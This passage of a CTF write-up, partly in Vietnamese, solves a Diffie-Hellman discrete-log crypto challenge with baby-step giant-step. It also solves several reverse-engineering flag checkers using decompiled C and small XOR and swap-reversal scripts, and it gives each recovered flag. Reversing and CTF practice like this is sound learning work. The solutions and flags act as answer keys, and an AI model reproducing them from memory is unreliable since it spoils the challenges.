        current = (current * g_m_inv) % p
    
    return None  # No solution found

# Dữ liệu đã cho
p = 85013941328859365232686230728938372320812319905627686919070637645614632817039920673725615375841158719310596592903101914818137738460649589340349796188816568005092757847
g = 20033344683527080232439150682925185454003164954955126339094967675384779782733210350757021743656898625398860187361281262413493941502725149445995471514781822892886669776
A = 76548721461171533747911417838852759206858825205673491250696441734297318615226024320798706656529038703728631231084155790148283919370554345818139818854112841655270107839
B = 2103083080159597422706551446020625757109756570951674830166998494220734179439318911618156966499109201221652320384817270671579741987575328177442670242481963924501204498
encrypted = "240e7b7678aaaa0dcbe06de7c5598a1ca0be7e2ae584bc7dfd2388cdb1d4fb6a37ceb94556757afc293999cbe5a5a2dbb4071ebf6cfd4332088555f9b2de1922"

# Tìm b sử dụng BSGS
b = bsgs(g, B, p, 2**42)
if b is None:
    print("Không thể tìm giá trị b.")
else:
    print(f"Đã tìm thấy b = {b}")

    # Tính shared secret ss
    ss = pow(A, b, p)

    # Tạo khóa AES từ shared secret
    key = sha256(long_to_bytes(ss)).digest()[:16]
    
    # Giải mã dữ liệu
    cipher = AES.new(key, AES.MODE_ECB)
    ct_bytes = bytes.fromhex(encrypted)
    pt_bytes = unpad(cipher.decrypt(ct_bytes), AES.block_size)
    flag_part = pt_bytes.decode()

    print(f"Flag phần đã giải mã: {flag_part}")
```
![image](https://hackmd.io/_uploads/rJOLRQbIkg.png)
Flag: W1{so_you_know_about_the_Diffie-Hellman-key_exchange}
## Rev

### GiacMoTrua2

```c 
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  printf("Give me your secret string: ");
  fgets(s, 100, _bss_start);
  if ( s[0] == 'W' && s[1] == 49 )
  {
    Lookthis();
    for ( i = 0; i <= 32; ++i )
    {
      if ( flag[i] != s[i] )
      {
        puts("Maybe... It's not the correct flag!");
        return 0;
      }
    }
    puts("Correct, Good eyes!");
    return 0;
  }
  else
  {
    puts("Did you forget flag format?");
    return 0;
  }
}
```

```c 
__int64 Lookthis()
{
  __int64 result; // rax
  int i; // [rsp+4h] [rbp-Ch]
  int j; // [rsp+8h] [rbp-8h]
  int k; // [rsp+Ch] [rbp-4h]

  for ( i = 3; i <= 6; ++i )
  {
    result = (unsigned int)(9 - i);
    if ( i < (int)result )
      result = swap(&flag[i], &flag[9 - i]);
  }
  for ( j = 8; j <= 13; ++j )
  {
    result = (unsigned int)(21 - j);
    if ( j < (int)result )
      result = swap(&flag[j], &flag[21 - j]);
  }
  for ( k = 29; k <= 32; ++k )
  {
    result = (unsigned int)(61 - k);
    if ( k < (int)result )
      result = swap(&flag[k], &flag[61 - k]);
  }
  return result;
}
```

After reversing I know that the flag will be swap in some place.
The flag before swap: W1{live_speels_a5_NoOn_4v4ry_emit!}

```cpp 
#include <bits/stdc++.h>

using namespace std;

string flag = "W1{live_speels_a5_NoOn_4v4ry_emit!}";
void solve()
{
  int result;
  int i; // [rsp+4h] [rbp-Ch]
  int j; // [rsp+8h] [rbp-8h]
  int k; // [rsp+Ch] [rbp-4h]

  for ( i = 3; i <= 6; ++i )
  {
    result = (unsigned int)(9 - i);
    if ( i < (int)result )
        swap(flag[i], flag[9 - i]);
  }
  for ( j = 8; j <= 13; ++j )
  {
    result = (unsigned int)(21 - j);
    if ( j < (int)result )
        swap(flag[j], flag[21 - j]);
  }
  for ( k = 29; k <= 32; ++k )
  {
    result = (unsigned int)(61 - k);
    if ( k < (int)result )
        swap(flag[k], flag[61 - k]);
  }
}

int32_t main()
{
    ios_base::sync_with_stdio(0);
    cin.tie(0);cout.tie(0);

    solve();
    cout << flag;

    return 0;
}
```
My cript to swap as the chall.
![image](https://hackmd.io/_uploads/BJMZJl6BJl.png)
And I get flag: W1{evil_sleeps_a5_NoOn_4v4ry_time!}

### Easy Flag Checker
![image](https://hackmd.io/_uploads/rJ-K1IgUyg.png)
```c 
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  bool v4; // [rsp+Bh] [rbp-4F5h]
  int i; // [rsp+Ch] [rbp-4F4h]
  char v6[1240]; // [rsp+10h] [rbp-4F0h] BYREF
  unsigned __int64 v7; // [rsp+4E8h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  std::string::basic_string();
  std::operator<<<std::char_traits<char>>(&std::cout, "Give me flag: ");
  std::operator>><char>(&std::cin, v6);
  v4 = std::string::size(v6) == 20;
  for ( i = 0; i <= 19; ++i )
  {
    *(_DWORD *)&v6[4 * i + 32] = (char)(*(_BYTE *)std::string::operator[]() ^ 0x38);
    if ( *(_DWORD *)&v6[4 * i + 32] != dword_4020[i] )
      v4 = 0;
  }
  if ( v4 )
    std::operator<<<std::char_traits<char>>(&std::cout, "Correct!");
  else
    std::operator<<<std::char_traits<char>>(&std::cout, "Wrong!");
  std::string::~string(v6);
  return 0LL;
}
```
```
dword_4020 dd 'o', 9, 'C', 'N', 0Bh, 'J', 'A', 'g', 0Bh, 0Ch, 'K', 'A', 'g', 'J', 9, '_', 'P', 0Fh, 7, 'E', 1Eh dup(0)
```

My script to solve it 
```python 
dword_4020 = [
    ord('o'), 9, ord('C'), ord('N'), 0x0B, ord('J'), ord('A'), ord('g'),
    0x0B, 0x0C, ord('K'), ord('A'), ord('g'), ord('J'), 9, ord('_'),
    ord('P'), 0x0F, 7, ord('E'), 0x1E
]

flag = ''.join(chr(c ^ 0x38) for c in dword_4020)
print(flag)
```
![image](https://hackmd.io/_uploads/Byr1eIe81e.png)
Flag: W1{v3ry_34sy_r1gh7?}

### GiacMoTrua1
![image](https://hackmd.io/_uploads/S16OBQZ8yl.png)
I also put every thing that i downloaded into ChatGPT and ask it the give me a python script that can reverse the FLAG =)))))))))
```python 
dic = [0] * 85
dic[0] = 33 
dic[1] = 35  
dic[2] = 36  
dic[3] = 37 
dic[4] = 38 
dic[5] = 40 
dic[6] = 41  
dic[7] = 42  
dic[8] = 43  
dic[9] = 44 
dic[10] = 45
dic[11] = 46
dic[12] = 47
dic[13] = 48  
dic[14] = 49  
dic[15] = 50
dic[16] = 51
dic[17] = 52  
dic[18] = 53
dic[19] = 54
dic[20] = 55  
dic[21] = 56  
dic[22] = 57
dic[23] = 58  
dic[24] = 59
dic[25] = 60
dic[26] = 61
dic[27] = 62 
dic[28] = 63 
dic[29] = 64
dic[30] = 65  
dic[31] = 66  
dic[32] = 67
dic[33] = 68 
dic[34] = 69  
dic[35] = 70  
dic[36] = 71 
dic[37] = 72  
dic[38] = 73  
dic[39] = 74  
dic[40] = 75  
dic[41] = 76  
dic[42] = 77  
dic[43] = 78  
dic[44] = 79  
dic[45] = 80 
dic[46] = 81  
dic[47] = 82  
dic[48] = 83  
dic[49] = 84 
dic[50] = 85 
dic[51] = 86  
dic[52] = 87 
dic[53] = 88  
dic[54] = 89  
dic[55] = 90  
dic[56] = 91 
dic[57] = 97  
dic[58] = 98  
dic[59] = 99 
dic[60] = 100
dic[61] = 101
dic[62] = 102
dic[63] = 103 
dic[64] = 104 
dic[65] = 105
dic[66] = 106 
dic[67] = 107
dic[68] = 108
dic[69] = 109
dic[70] = 110
dic[71] = 111 
dic[72] = 112 
dic[73] = 113 
dic[74] = 114
dic[75] = 115 
dic[76] = 116 
dic[77] = 117 
dic[78] = 118
dic[79] = 119 
dic[80] = 120 
dic[81] = 121 
dic[82] = 122 
dic[83] = 123 
dic[84] = 125 
rev_dic = {}
for i in range(85):
    rev_dic[dic[i]] = i

target = 'R8Abq,R&;j%R6;kiiR%hR@k6iy0Ji.[k!8R,kHR*i??'
length = len(target)

# The original array size was length * 2, and we got the final string
# from index (23 * length + 16) % length onwards for length characters
# We need to reconstruct the original array

target_ascii = [ord(c) for c in target]

# Find the indices in the original array
start_idx = (23 * length + 16) % length
original_indices = list(range(start_idx, start_idx + length))

# Create the full array
ans = [0] * (length * 2)
for i, val in zip(original_indices, target_ascii):
    ans[i] = val
    ans[i - length] = val  # Due to the duplication in the original code

# Now we can reverse the XOR operation
flag = ''
for i in range(length):
    # Find the index in reverse_dic that gives us ans[i]
    for possible_char in range(256):  # Try all possible characters
        # Apply the same transformation as in the original code
        if possible_char < len(dic) and dic[possible_char] == ans[i]:
            # Reverse the XOR operation
            original_char = possible_char ^ 112
            flag += chr(original_char)
            break

print(flag)
```
![image](https://hackmd.io/_uploads/SyE3rXbUJl.png)
Flag: W1{H3pe_y3U_w1ll_enJ9y_th2s_ch311_s0_m3c1!}